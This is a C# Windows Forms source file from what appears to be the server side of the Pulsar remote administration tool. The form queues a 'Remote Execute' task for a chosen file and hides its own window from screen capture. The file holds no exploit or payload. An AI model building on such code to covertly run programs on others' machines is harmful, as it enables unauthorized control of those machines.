Files
PulsarK-main/Pulsar.Server/Forms/FrmTaskExecute.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

53 lines
1.4 KiB
C#

using Pulsar.Server.Forms.DarkMode;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.ServiceModel.Channels;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmTaskExecute : Form
{
public FrmTaskExecute()
{
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void FrmTaskExecute_Load(object sender, EventArgs e)
{
}
// Add task
private void button2_Click(object sender, EventArgs e)
{
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null)
{
frm.AddTask("Remote Execute", FPTextBox.Text, "");
}
}
//browse for file
private void button1_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Title = "Select a File";
openFileDialog.Filter = "All Files (*.*)|*.*";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
FPTextBox.Text = openFileDialog.FileName;
}
}
}
}
}